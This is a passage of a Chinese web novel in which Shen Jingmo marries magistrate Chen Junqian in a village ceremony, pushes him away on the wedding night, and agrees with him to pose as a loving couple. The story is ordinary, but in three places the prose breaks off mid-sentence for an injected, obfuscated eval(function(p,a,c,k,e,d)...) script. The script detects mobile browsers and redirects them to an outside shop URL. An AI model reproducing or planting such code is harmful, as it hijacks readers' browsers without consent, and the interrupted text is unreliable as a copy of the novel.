刚同她解释了一遍葡萄村的婚仪,便已有人前来帮忙。 陈君迁还想和她说点什么,却架不住人家调侃,只好叮嘱沈京墨,若是累了尽管休息,一切有他去做后,才恋恋不舍地去招待村里人。 沈京墨也有些话想和他说,却一直没找着机会,只得等他闲下来,再寻个时机和他说了。 然而他这一去就忙到了傍晚。 按理说,作为新郎,他应该规规矩矩地,等着按照流程走完婚仪即可,但村里人没那么多讲究,谁家成亲都是一样,只要赶在吉时之前把新郎新娘送入洞房,其余的便怎么顺手怎么来。 夕阳晚照,暮色四合。 沈京墨早已在同村几位婶婶的帮助下换上了青色婚服,去找团扇时,手中却被人塞进了一块红艳艳的布。 她一怔,不知其用意。还是一位婶婶告诉她,这叫盖头,要盖在新娘头上,直到入了洞房,才能由新郎官揭开。 沈京墨虽倍感讶异,但又一想,真要让陈君迁做却扇诗,还不知会做成什么样,还不如蒙上块布,也免得让人瞧见自己的表情。 戴上盖头后,她便只能瞧见脚底下那一小块地,其余什么都看不见了。 两个婶婶一左一右地扶着她手臂,笑吟吟地打开门,将她带到陈君迁面前。 她看见了他大红婚服的一角和婚服之下的官靴。下一刻,靴子移动到她身侧,一只温热粗粝的大手握住了她的手。 他的手掌心很大,足以将她的柔荑包裹其中。 感受到手背上传来的那股源源不断的热意,沈京墨不觉紧张地手心都沁出了汗。 耳边传来许多人的祝福和欢笑声,她听不大懂,也没有精力去细听。 因为陈君迁的拇指,正在她宽大的衣袖之下,轻轻慢慢地摩挲着她的手背。 沈京墨小脸涨红,好在有盖头挡着,不至于让人瞧了去。 但手背上的痒意却是无法忽略的。 她紧咬着嘴唇,忍了许久,终于耐不住地轻轻抖了一下。 头顶传来一声低笑,他的手终于老实了。 沈京墨这才松了一口气,转而心中埋怨起陈君迁来——他分明有意中人,怎么还对她做出这番举动?倘若是要在人前佯装亲密也就罢了,可她手在袖中,别人又看不见! 他带着她从东屋走到院里,出了门,绕着陈家走了一圈,才转回到院中,算是将新娘从娘家接到了夫家。 再之后是拜堂。沈京墨的父母不在,她便朝着上京的方向拜了一拜。 直起身来时,一滴清泪自盖头后滑落。 拜过了堂,两人便在同村人的起哄中,被送进了东屋。 二人分食过猪牛羊肉,又用一只一分为二的匏瓜饮过合卺酒,再分别剪下各自一缕头发来系在一起,才算是完成了全部婚仪。 接下来便可以开席了。 沈京墨不必拜客,只需坐在房中等陈君迁回来。 她的盖头还未揭,双手叠在膝上,规规矩矩地坐在床上,后背绷得笔直。 陈君迁行完婚仪没有立刻离开,反而朝沈京墨走去。 门外的人纷纷调侃起他来。 “小陈大人,后半夜有你腻乎的时候,先出来喝酒!” 他却不急,也不理会他们的促狭,轻轻捞起沈京墨的一只手握在掌中,塞了一团软乎乎的东西给她,松开时,他在她耳边低声道:“饿了吃。” 说完才转过身,笑着迎了出去。 屋门在他背后关上,将院里的热闹隔绝在了门板那头。 四下终于安静下来。 默默坐了一会儿,沈京墨打开手掌,瞧见掌心中躺着两块晶莹剔透、表面撒着果干的点心。 她怔怔地盯着点心,好一会儿,才拿起一块送到嘴边,小口小口地吃了起来。 点心有些干,味道也平平,沈京墨吃了一会儿,突然流下了泪来。 曾几何时,她也想象过自己的婚礼。 在她的想象中,傅修远会提前至少一年来纳彩,母亲会为她准备好丰厚的嫁妆。 等到她出嫁那天,她会扑在母亲怀里幸福地哭一场,而母亲会一边落泪,一边笑她怎么嫁给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715381|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了意中人还哭成这样。 父亲不爱说话,只会在她拜高堂时悄悄红了眼眶。 而傅修远,他会骑着威风的骏马,在上京所有人艳羡的目光中,一路从傅府来到沈家,十里红妆,将她风风光光地迎走。 自此,执子之手,与子偕老。 可眼前逼仄的婚房,坚硬的木板床,和粗糙的婚服…… 她相信陈君迁已经给了她最好的,可她憧憬了那么多年的婚礼,不该是这副模样。 她本该拥有幸福顺遂的一生,可如今,她只能嫁给一个她不爱、也不会爱她的男人,就连出嫁时,父亲母亲都不在身边。 甚至,她都不知道他们是否还活着。 沈京墨垂着眼,看着手里只吃了几口的点心,想哭,却又不敢哭出声来。 她紧咬着唇忍了许久,还是抬起手来,张口死死咬住了衣袖,才勉强将溢出喉咙的呜咽堵了回去。 爹、娘,靖靖好想你们…… * 屋外,陈君迁正端着酒碗,一桌一桌地敬酒。 今天整个葡萄村的人都来了,还有永宁县的许多人也都在席上,陈家院中摆不下酒席,就连院外的村路上都摆上了桌椅。 陈君迁一桌接一桌的敬酒,一连敬了几桌下来,不免脸色发红,脚步都有些虚浮。 但他今天高兴,再多酒他都乐意喝! 心心念念了三年,以为这辈子都遇不着,只能抱着画像厮守一生的画中仙子,竟然是他十七年前就许下婚约的未婚妻! 不,他们已经拜过了天地,如今她已经是他的娘子了! 天底下上哪找像他这般幸运的男人! 陈君迁满面春风,手里的酒一碗接着一碗,几乎没有停过。 直到院门口响起一声刺耳难听的声音,酒席上的众人猛地安静下来,他才稍稍清醒,转过身去看。 院门口,一脸恶毒的萧景垣在两名小厮的搀扶下,一瘸一拐地走了进来,在一张桌子旁停下,低头瞧瞧桌上的酒菜,恨恨地啐了一口。 他一副吊儿郎当的样,阴阳怪气道:“陈君迁,陈大县令,恭喜啊?” 说罢又道:“咱好歹也是同乡,怎么成亲这么天大的喜事儿,也不通知我一声,啊?” 陈君迁的脸色瞬间便沉了下来。 同在招待客人的陈大见势,忙过来打圆场:“既然来了就都是客,请入席吧。” 萧景垣嗤了一声,理也没理。 一旁的谢遇欢瞧见,对着萧景垣笑道:“萧大少身上有伤,不良于行,更不便饮酒,大人这是心疼您,怕您的伤势又加重了。” 萧景垣知道他这是在提醒他,屁/股上的伤是怎么来的,恶狠狠瞪了谢遇欢一眼,又看向陈君迁,脸上露出阴险的笑意。 “知道陈大县令要娶妻,我便托我那表舅好生打听了一番。陈大人,你可知你这位娘子是何来头?” 众人屏息。 “她可是个罪臣之女!全家杀头的大罪!”萧景垣得意道,“娶了罪臣之女,你这官呀,也就做到头咯!” 陈君迁:…… 就这?他还以为是什么天大的噩耗呢。 陈君迁听完没有理睬,转而继续对着身旁的人,敬方才没有敬完的酒。 萧景垣见一拳打在了棉花上,气得屁/股直疼,又指着陈君迁嚷道:“我还告诉你!你的女人在上京,早就有相好的了!你还当个宝贝似的娶回家,还不知道她都被人玩儿过多少回了吧!” 14. 洞房 “咣——” 萧景垣话音未落,只听一道清脆的酒碗碎裂声响起,萧景垣只觉脑袋顶上一热,一股鲜红登时顺着额头淌了下来。 “你、你——”萧景垣慌忙捂住了脑袋,瞪着陈君迁,“你敢打我?在座的都看见了!当官的杀人啦!” 陈君迁也瞪着他,手中攥着酒碗的碎片,向他逼近一步。 “我娘子生得漂亮性情好,有人爱慕,是他眼光好,是应该,是必然!但那是旁人的事,与她无关! “上京有贵人爱慕我娘子,她却仍谨守婚约嫁于我为妻,可见沈家家风之正,我娘子品行之高洁,岂是你随便几句谣言便能污蔑的?!” 陈君迁说罢,眼神向下一瞥,问萧景垣:“莫不是屁/股上的伤好透了,就忘了疼?” “你——”萧景垣被陈君迁居高临下地瞪着,想要挺起腰板来瞪回去,奈何个子矮了陈君迁一头,就是踮起脚来,也没什么威慑力,“威胁老子?有本事你弄死我!我看你这个官儿还能当几天!” 他今天就是来找茬的。前几日陈君迁坏了他的好事,还抢走了他看上的美人儿,更是给他屁/股打开了花,害得他好几天去不了醉花楼,只能在家里趴着。 他都不能夜夜当新郎了,凭什么陈君迁抱得美人归?!就算不能让他休了沈京墨,至少也要让他们在永宁县众人面前颜面扫地! 更要让陈君迁日后面对貌美如花的娘子时,如鲠在喉如芒在背如坐针毡! 陈君迁的脸色变得愈发难看,一双眼里都快要喷出火来,握着碎碗的手猛地高高抬起,还没做什么,萧景垣便“哎哟”一声吓得抱头鼠窜,和两个小厮一起往院门外滚去。 他只是来给他们添点不痛快的,可不想自己也痛。 经过谢遇欢身边时,他趁无人注意,伸出脚来,狠狠绊了萧景垣一跤,摔得他屁/股上的伤口开裂,血立刻染红了裤子。 “嗷!你,你给我等着!”萧景垣怪叫着指了指一脸无辜的谢遇欢,又指向陈君迁,“你也给老子等着!” 说罢,又骂两个小厮:“还不给老子扶起来走?!” 等萧景垣骂骂咧咧的声音走远了,席上众人仍是面面相觑不敢发出一点声响。 大婚之日被人指着鼻子说新娘子有老相好,任谁面子上都过不去,更何况还是他们永宁县的县令。 而且他们还被迫围观了全程! 这下众人走也不是,留也不是,有些举着酒碗的,连放也不敢放下,谁也不敢第一个弄出动静。 陈君迁站在原地沉默了片刻,突然又拿起一只酒碗来,与本来要和他碰杯的人碰了一下,笑道:“白叔,咱刚才的酒还没喝呢。” 突然被点到的白叔一愣,也忙笑道:“是啊是啊,恭喜小陈大人!” 陈君迁一口饮尽碗中酒,又倒了一碗,高高举起,对众人道:“大家可能有所不知,前几日我审了个案子,罚了那萧景垣十两纹银。这人记恨于我,竟在我大喜之日无凭无据污我娘子清白,其心可诛!” 解释完这点,他又道:“但我乃一县父母官,自然不会徇私报复,也不会将此事放在心上。大家不必拘束,吃好喝好!” 他这话说完,又去给下一个人敬酒。 见状,众人才慢慢恢复了先前的样子,纷纷夸奖陈君迁有气量,还有见过沈京墨本人的,也都称赞她样貌动人性情温柔,与陈君迁是天造地设的一对。 陈君迁和原先一样笑着敬过所有人后,谢遇欢端着酒碗找到了他。 他正盯着萧景垣离开的方向,脸上笑意尽退,眼里满是冰寒。 谢遇欢站在他身侧,面向他背对的方向,低声道:“大人不该动手。” 陈君迁凉凉地看了他一眼,端起碗来抿了口酒,幽幽道:“我喝醉了……” “这倒勉强算个理由,但你还是太冲……” “……碗没瞄准,不然还能再重一点儿。” 谢遇欢:…… 谢遇欢:“你听听你听听,你这是喝醉的人该说的话吗?” 陈君迁没回话,继续喝酒。 “他毕竟有个好表舅,咱们不好和人结了梁子。” “你以为我是忌惮他表舅才没给他彻底开了瓢?”陈君迁斜睨他,“我是县令,要遵纪守法为人表率,不能用私刑。” 他说着,嘴角仰起一抹微不可查的弧度。 谢遇欢一瞧,便知道有人要倒大霉了。 “更要严守法度,不能放过一个坏人。” “你是想……” “三年前的卷宗,一档一档地查。萧景垣作恶多年,身上攒的刑罚可不少了。” 谢遇欢一怔,没想到他竟然要追责上任、上上任、上上上任县令时期的往事:“你可要想清楚了?在你之前那些县令可都死了,就算查出什么来,你就不怕他给你玩儿个死无对证?” 陈君迁上任三年来,萧景垣比以往收敛了许多,虽然被人告到县衙几次,但都不是什么大事,就算是买卖小妾,但卖身契齐全,律法也动不了他。虽然他每次都会尽力从旁找些小的错处,但也顶多罚些银两,不痛不痒的。 可要往前查,就不一定了。 陈君迁饮下最后一口酒,拍了拍谢遇欢的肩,露出个意味不明的笑来:“今儿我大婚,说什么死不死的。” 说完,他又重重在他肩上拍了两下,紧紧一握,才摇摇晃晃地往院里走去。 谢遇欢盯着他的背影,良久,笑着摇起了折扇。 * 婚宴喝到最后,陈君迁也只是微醺。 他平时极少喝酒,毕竟酒这玩意儿可不便宜,但也许是天生不易醉,也可能是经过萧景垣闹得那一遭,酒便喝不进心里去,自然也就味同白水,千杯不醉了。 直到把大部分宾客都喝趴下了,陈君迁才晃晃悠悠地推开东屋的门。 听见开关门的声音,沈京墨忙抬起手擦干脸上未干的泪痕,将剩下的点心放到床头的矮桌上,坐直了身子。 陈君迁脚步虚浮,走到她跟前时还晃了一下。沈京墨忙伸手去扶,他却自己站定了,带着酒气问她饿不饿,渴不渴。 沈京墨两次都摇头。 但他还是给她倒了杯水放在矮桌上。 沈京墨盖着盖头看不见他,只能侧目看见那杯摇晃的水。 下一刻,有限的视野之内,突然出现了陈君迁的身影。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725668|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她面前蹲下身去,从怀中摸出了什么,一手去摸她脚踝。 沈京墨吓地忙抬起脚来往床里头缩,但动作不及他快,还是被陈君迁一把握住了脚踝,拉向他怀里。 “这是做什么?” 他没回答,轻轻脱下她的鞋袜,动作有些笨拙地把一条坠着铃铛的红绳系在了她纤细的脚腕上。 她的脚很小巧,脚趾圆润,皮肤又白又嫩,摸上去十分滑手,脚踝也纤细,本就不怎么长的红绳系上去,竟还有些松垮。 陈君迁系好红绳便把她松开了。 沈京墨脸色通红,刚一得了自由便急忙将脚放下去。这一动,铃铛叮当作响,冰冰凉凉贴在她脚面,吓得她又是一缩。 但这一出声,她似乎也明白了系铃铛的用意,脸色变得比盖头还要红。 下一刻,床板一沉,陈君迁在她右手边坐下,她瞧见他两只大手在衣摆上狠狠搓了好几下,随后举了起来。 她眼前紧接着便亮了。 盖头被他挑起来丢到了床上,烛光略有些刺目,晃得沈京墨侧过头去,恰对上了一双醉意沉沉的如墨黑眸。 他穿一身正红,虽不衬肤色,却更显英气。加之今天喝了些酒,眼神不似往日锋利,整个人也显得柔和了许多。 沈京墨只匆忙瞥了他一眼,便将头低了下去,手指紧紧绞着衣裙。 她早已想好要对他说些什么。 他大概还不知道她已经知晓他有心上人这件事,还要在宾客面前卖力演出喜悦,实是不易。 不如现在就与他挑明她亦心有所属,好让两人都能安心。 “陈大人……” 沈京墨话还没说出口,就感到脸上一热。他带着酒气的唇就这样不打招呼地贴了上来,虽只是在脸颊轻轻一碰,还是让她惊了一瞬,脑中似有什么炸开了似的,竟都忘了躲开。 见她小脸绯红一片,杏眸微张,却没有抗拒,陈君迁登时觉得小腹一紧。 他的酒劲似乎这才开始上头。 顺从着本能,他又贴了上去,毫无章法的吻印上她的侧脸,又一路向下,愈发着急地向下探去,吻过下颌,滑向脖颈。 “不……”沈京墨终于从震惊和羞涩中回过神来,手先于脑子一步,猛地朝他胸口一推,“不要!” 陈君迁正吻得上头,迷迷糊糊间,毫无防备地被她这么一推,竟直接从床上摔了下去,一屁/股坐到了地上。 “咚”的一声闷响,两人都怔住了。 这一下虽不疼,陈君迁却清醒了。他甩了甩发胀的脑袋,被酒模糊了的双眼这才看清,她眼角有哭过的痕迹。 “怎,怎么了?我弄疼你了?” 沈京墨紧紧攥着衣领,往后瑟缩着。 她不明白,他明明有心上人,怎么还能对她做出这样的事?既不尊重他的心上人,也不尊重她,他怎么能这样?! “陈大人,”她急促地喘/息着,忍着恐惧和羞愤,“我不知你会如何,但倘若我心有所属,必不会和旁人做这档事。就算是结为了夫妻也不行!” 陈君迁脑袋一懵,猛然回想起方才萧景垣说的—— “你的女人在上京,早就有相好的了!” 15. 不够 沈京墨双眸含泪,紧紧盯着陈君迁的一举一动。 她有许多话想要解释,但一看到他如今难看至极的脸色,她便什么都不敢说了。 直到刚刚被他按住脚踝、被他捧着脸亲吻时,她才对他的力量有了具体的认知。他是那么高大健硕,力气也远比她的大得多,倘若他真要对她做些什么,她绝没有一丝反抗的可能。 所以她害怕,她惶恐,她不知所措。虽然爆发出一瞬间的力量将他推开了,可现在她双手双脚都是软的。 她是真的被他吓着了。 陈君迁在冰凉的地上坐了一会儿,脑子也清醒了几分。 他深深看向沈京墨,张了张口,想要问她这话究竟是何意,却发现她肩膀在微微颤抖。 她是在怕他?陈君迁突然觉得胸中气闷,原本就要脱口而出的问题,也干脆咽回了肚子里去。 两人沉默地对坐片刻,陈君迁站起身来,哑声道:“你歇息吧,我走。” 说着便往屋门口走去。 可到了屋门口,手刚搭上门板,陈君迁就听见门那头传来一阵叽叽喳喳地喧闹声,其中夹杂着陈川柏疑惑的发问。 “怎么进去这么久还没动静啊?” “你让开让我听听!” “没动静呢,你先等会儿,这我占的位置!” 不用看也知道,门后面围了一群看热闹的家伙。 陈君迁的手迟疑了一瞬,收了回去,转身往屋里走。 见他去而复返,沈京墨好不容易平静下来的心又怦怦乱跳起来,收回脚来往床里头挪,想要离他远些。 陈君迁皱着眉走到床前,本想直接动手,但看她那副害怕的模样,伸出去一半的手又放下了,改为平放到她眼前,沉声:“铃铛。” “……什么?” “铃铛,解下来。” 沈京墨不明就里,但还是手忙脚乱地把系着铃铛的红绳解开放到了靠近他那头的床上。 陈君迁抬眸瞧了她一眼,拾起铃铛,后退几步与她拉开距离,吹熄了蜡烛,席地而坐,只留给她一个侧脸,将红绳缠绕在自己指尖,一下一下摇了起来。 沈京墨起初脑子很乱,烛光消失的那一刻,她还没有意识到他这样做的目的。直到窗外传来极低的笑声,几颗小脑袋被月光映在窗子上,她才明白他这是做给外人看的。 她脸上的红晕很快蔓延到了耳尖和雪颈,抱着被子一声也不敢出。 今晚月光很亮,透过窗子,照得屋里一地莹白。 陈君迁借着月光瞥了一眼沈京墨,压低声音道:“困了就歇息,我尽量不吵着你。” 他的语气听上去十分平静,说话也不像先前那样短促,沈京墨猜想他大概没那么生气了,又红着脸忍耐了一会儿,小声劝他:“差不多了吧。” 他听了,摇铃铛的动作一顿,但随即又接着摇了起来。 “还不够。” 沈京墨只好咬着唇,继续看他摇。 直到过去足足一个来时辰,铃铛在屋里不同地点时轻时重地响了三四回合,他才终于停下,转头去看沈京墨时,她已经在铃铛的清脆响动中靠着墙壁睡着了。 陈君迁静静凝视着她的睡颜,半晌,站起身来轻手轻脚地走了出去。 门外宾客都离开了,只剩下陈川柏靠在他屋门边睡得东倒西歪。 陈君迁没有惊扰他,轻轻关好房门,没有发出一丝响动,但晃动的影子还是惊醒了陈川柏。 他揉了揉眼睛,冲着他哥的背影问:“哥,这大半夜的你去哪儿啊?” 陈君迁头也没回:“肚子疼,出去走走。” “啊?”陈川柏不能理解地挠了挠头,但见陈君迁已经走出了院门,他也只好提醒他“早点回来”,说完便打着瞌睡回西屋去了。 * 婚后第一天起,沈京墨就闭门不出了。 原因无他,只是她不知该如何面对陈君迁,更不知该如何面对善待她的陈家父子。 自新婚夜里陈君迁离开她的屋子后,也始终没有再踏进来一步,就连他的声音,她也不曾再听见。 沈京墨猜,他大概最近都宿在了县衙。 她每日的饭食都会放到门口的矮凳上,沈京墨猜测,陈君迁也不想看见她,所以安排了陈川柏给她送饭。 尽管如此,她每日的饭食,还是换着花样来,一连数日都不重复,蒸饼、包子、米糕,有时还有酱肉和新鲜的水果。 每每看着这些吃食,沈京墨都要沉默许久。 她是心存愧疚的。陈君迁虽然有些举动让她不解,但总得来说,从她来到永宁县起,就处处受他恩惠和庇佑,哪怕这场婚姻只是装装样子,他也确实做到了无可挑剔。 反倒是她,始终没有和他解释清楚自己的心意。 她和往常一样,只取了一小部分食物回屋,剩下的都留在了矮凳上,等陈川柏前来分享。 食不知味地吃了一只小包子,沈京墨想,不能再这样拖下去了,等他下次休沐回家,她必须得找他说清楚。 她会和他做一对挂名夫妻,等过些日子,想办法与他和离,独立门户。还有这些日子在他家吃住所用的银子,她也会想办法还给他。 至于再往后的日子要如何,沈京墨出神地望着窗外飘动的云,轻轻叹了声气。 * 永宁县县衙。 “蒸饼、包子、米糕、酱肉,她都不爱吃,你说明天给她带点儿什么好?” 临近下值的时辰,陈君迁在堆积如山的卷宗背后找到了谢遇欢。 打从他成亲那日回来,谢遇欢就被陈君迁按在府库的卷宗室里,没日没夜地翻查萧景垣早年间犯下的事,一连几日下来,头昏脑涨,一脸菜色。 谁能想到萧景垣以前竟然犯了这么多事儿啊! 他生无可恋:“吃什么都行,都没卷宗难吃。” 陈君迁忽略他后半句话,蹲在他身旁扒拉卷宗:“上回问你上京的公子哥什么样,你说,白白净净,清清瘦瘦,温声细语,还爱泡茶?” 谢遇欢:“什么样都行,都没卷宗难看。” 陈君迁摸着下巴,一条一条比对:“白白净净是没戏了。清清瘦瘦……肩不能扛手不能提,家里活儿怎么做?温声细语,还能试试。泡茶……那玩意儿又苦又涩有啥喝头?” 谢遇欢:“多苦都行,都没翻卷宗苦。” 陈君迁沉默了一下,拍拍谢遇欢的肩:“你要相信,这差事对你有好处。不是有句老话,天将降大任于你,必先让你读万卷书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729462|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱县衙书没几本,但卷宗管够啊!” 谢遇欢面无表情地瞧了他一眼,黑眼圈比眼睛都大,连纠正他的力气都没了。 陈君迁盯着他眨了眨眼,“蹭”地一下站了起来,猛一拍手:“你果然是我的智囊——今天给她带芝麻饼!” * 拎着一包酥脆咸香的芝麻饼回到家时,陈君迁快步走到后院的小门处,招呼陈川柏过来。 “芝麻饼,等下给你嫂嫂送去……” 话没说完,东屋的门便开了。 听见动静,陈君迁的脊背一僵,抬脚就要躲进后院,却还是迟了一步。 “大人请留步。” 陈君迁的动作瞬间顿住,慢慢转过了身去,站在原地没有动。 沈京墨知道他不愿见她,咬了咬唇,还是将他请进了东屋。 屋里还挂着大婚那日的红布装饰,陈君迁没再来过,她又摘不到,干脆就没去管它。 两人关起门,尴尬地在桌子两边坐了下来,且都意外默契地选择了侧身而坐,省去了直面对方的窘迫。 对坐半晌,沈京墨为他倒了杯水。 陈君迁接过去,杯在手中紧紧握着,没喝,也没松开。 又是一阵不短的沉默,沈京墨缓缓开了口。 “大人,有些话,成亲之前便想对你说,哪成想一直没有机会,便耗到了今日。” 沈京墨说着,站起身来走到陈君迁面前,对着他软下腰去盈盈一拜,吓得陈君迁也忙站了起来,想要去扶却又不敢,只好让她快些起来。 沈京墨没起身:“成亲之前,听村里人说起,大人早已有意中人,想必只是受你我二人婚约相阻,才不得与那位姑娘结为连理。” 她轻叹:“不过大人不必为此烦心。我与大人一样,心中另有他人,成婚只是权宜之计。待过上两三年,大人便可以我膝下无所出为由,与我和离。这些年在大人家中的吃穿用度,我也会想法子折了现银还给大人。” 说着,她深深一拜:“只求大人收留我些许时日,待三年时间一到,我立刻离开,绝不会再打扰大人与未来夫人。” 陈君迁听完,人都傻了。 什么未来夫人?他这辈子就没想过还要娶第二个老婆! 他想也没想,张口便要解释,可话到嘴边,又让他给咽回去了。 他突然想起了衙役们正在读的话本,画中仙。 那故事里的书生痴恋画中一美人,美人怜他一片痴心,走下画来与他结为夫妻,可书生对妻子阐明她的身份来历后,美人却伤心至极,回到画中再不肯现身了。 在这之前,陈君迁对此类志怪话本嗤之以鼻。但现在,要他告诉沈京墨,他痴恋了三年的心上人就是画里的她,他却突然没了胆子。 故事是故事,可万一有哪怕一丁点的真实性呢? 他这好不容易从纸板变成真人的妻子,他可不敢赌啊! 但他当年拒婚县里几十户的姑娘时,都说自己已有意中人,现在否认,只怕她也不信,毕竟整个县都是人证。 陈君迁僵在当场,心里那叫一个悔不当初。 懊恼了半天,他小心翼翼地把沈京墨扶了起来,坐回到凳子上。 “沈小姐,可愿听听我的看法?” 16. 假扮夫妻 “原来沈小姐都知道了。那正好,你心里有人,我心里也有人,我们扯平,你不必为此有负担。” 陈君迁边说边观察着沈京墨的表情,听到他说二人扯平时,她紧绷的神情总算有所缓和。 他顿了一顿,话锋一转:“但既然你我已经成了夫妻,如果一直冷淡相处,难免让人看穿成婚是假。这可是欺君之罪。” 沈京墨的眼瞳一缩,急忙抬眼看向陈君迁。 她只是想与他做一对挂名夫妻,没想过要让他担这么大的罪过。 见她神色慌张,陈君迁抬手将她按下:“我的意思是,沈小姐所说的权宜之计,没有问题。只不过此事天知地知你知我知,除此之外,万不可让第三人知道,就算是我爹和川柏也不行。” 他声音低沉而冷静,表情分外严肃:“也就是说,走出这间屋子,你我就要演给所有人看,我们虽是因约成婚,但夫妻感情甚好,绝非为了脱罪而假意成亲。” 他说得在理,沈京墨思忖片刻,认同地点了点头:“我明白了。往后若有旁人在场,我定会好好配合大人,绝不让大人受我牵连。若无旁人,我也会谨守规矩,绝不逾越,请大人放心。” 说罢,她犹豫了一下,试探着问:“只是不知大人的心上人若是看见……会否误会?” 陈君迁定定地眨了眨眼:“不会!她不介意!” 真是个善解人意的姑娘,想必早与他心意相通,才能如此放心。沈京墨这样想着,心中默默对那不知名姓的姑娘生出许多好感和歉疚。 “那便多谢大人和那位姑娘……” 陈君迁听见“那位姑娘”,别扭地直挠头,赶紧打断了她:“往后就别叫我大人了,都成亲了再这样叫,难免教人起疑。” 他清了清嗓子,认真道:“往后便叫郎君吧,我也叫你娘子。” 说完他嘴角便压也压不住地扬起来了,期待她叫一声郎君听听。 沈京墨不曾察觉他表情的细微变化,乖乖点头,但不忘补充:“在外如此。倘若没有外人,我还是称呼您大人。” 毕竟只是扮演夫妻,该有的分寸必须得有。 陈君迁的嘴角一下就放下了。 他当即就想说,用不着分得这么清楚,但想了想,还是放弃了——用谢遇欢的话说,对沈京墨,最好徐徐图之,逼得太紧反而可疑。 于是他道:“好。既然如此,只有你我二人时,我便叫你沈小姐。” 两人达成一致后,天色还不算晚。陈君迁这几日已经把猪圈、鸡窝和陈大的菜地搬到了后院,院里地面也重新打扫过,正在盖新茅房。 趁这几天没下雨,他想尽快盖好,好让沈京墨过得舒服些,便将芝麻饼放在桌上,起身要走。 沈京墨见状,忙叫住了他:“大人太客气了,这几日总是换着样子送吃食来,如此破费,我实在过意不去。其实菜饽饽就很好了……” 陈君迁回头看了看她,又看了看桌上的油纸包,笑道:“你就当是演给县里人看的。这儿没什么好东西,比不上上京,沈小姐就别客气了。你头发很好,多吃些芝麻饼,就当保养。” 沈京墨冷不丁被他夸奖,下意识地抚摸了下鬓角。 其实她幼时发质并不好,细软且黄,是柳氏费了好些心思,又是用药水洗,又是用特制的木梳梳,再加上常年服用养发的食材,才养出了如今这头瀑布般乌黑柔顺的秀发。 陈君迁这一句无心之言,正戳中了她心中的思亲之痛。 沈京墨没有拒绝,又对他道了谢。待他关门离去,才讷讷地坐下来,打开油纸,取出一块芝麻饼,小口小口地吃了起来。 * 当天夜里,沈京墨是听着屋外窸窸窣窣地盖房声睡去的。 第二天她醒来时,陈君迁已经不在了。陈川柏和陈大似乎也不在家,院门虚掩着,院子正当中放着一条网兜。 昨天才盖了一点的茅房,今天就差封顶了,也不知陈君迁昨晚做了多久。 沈京墨看着地上的石头和白灰砂,不禁想起昨天与他商量好的事。 从今往后,只要踏出身后这间屋子,她就要演好陈君迁妻子的角色。沈京墨深吸了一口气,只觉胸口有些沉闷,也不知自己能不能演得像。 做他的妻子,应该做些什么呢? 毕竟她也不想在他家白吃白住,总得做些什么才好心安。但又一细想,他大概听不懂笛音,对字画八成也不感兴趣,至于制香、插花,她手里又没有工具。 想了许久,沈京墨还是决定,与其做些什么弄出乱子,还不如规规矩矩地什么都不做,回屋看看话本解闷,等他回来了,与他商量过后,再做什么也不迟。 刚这么想着,院门却突然被人推开了,一张汗涔涔的清秀面孔探进头来,瞧见院里只有沈京墨,女子愣了一下,花一般的脸上随即露出一副惊喜的笑来。 “你就是小陈大人的娘子吧?”女子笑嘻嘻地对她行了个上京贵女的礼节,只不过既夸张也不标准,“小陈大人等陈猫儿好久了,他不在?” 陈君迁今日休沐吗?她都不知道。 沈京墨不知道女子是谁,摇了摇头,说她也不清楚陈川柏去了何处。 那女子听完,眼珠一转,小跑进院里捡起地上的网兜塞进沈京墨手里,拉上她衣袖便往外走。 “陈猫儿不在,娘子你去送也是一样的。” 这女子看着年纪不大,力气却是不小,沈京墨被她拉着往外走出好几步才稳下身形来,忙问她要去做什么。 “去给小陈大人送网兜啊!到了你就知道了!” 女子抹了把脸上的汗,大步往前走。 沈京墨一时有些跟不上她——在上京,高门贵女行走坐卧皆有规矩,像她这般迈着大步走路是决不被允许的。 那女子走了几步,回头一瞧沈京墨落后了,便又走回来挎上她臂弯:“娘子快些走,晚了没准儿就错过啦!” “错过什么呀?”沈京墨被她弄得十分好奇。 “打龙王啊!”女子兴奋地解释起来,“上京不打龙王吗?我们这儿每年五月都要打龙王的!嗯……就是下河捞鱼!五月里总有那么一天,饮马河里鱼特别多,跟天上往下倒似的,不过大部分都是黑头鱼,只有一条是金色的,可漂亮了!那就是龙王。村里的男人们基本都会去抓龙王,谁抓到了,养在家里招财进宝,还能保佑村里风调雨顺!” 说完,女子又凑近沈京墨耳边,小声笑道:“听说新婚夫妇养龙王,还能夫妻和谐,生的娃也漂亮!小陈大人往年都不去凑这个热闹来着……” 沈京墨听着便觉耳朵一热。 他……他演得也太努力了吧? 好在女子没有看出她的羞涩,拉着她走得更快了些。 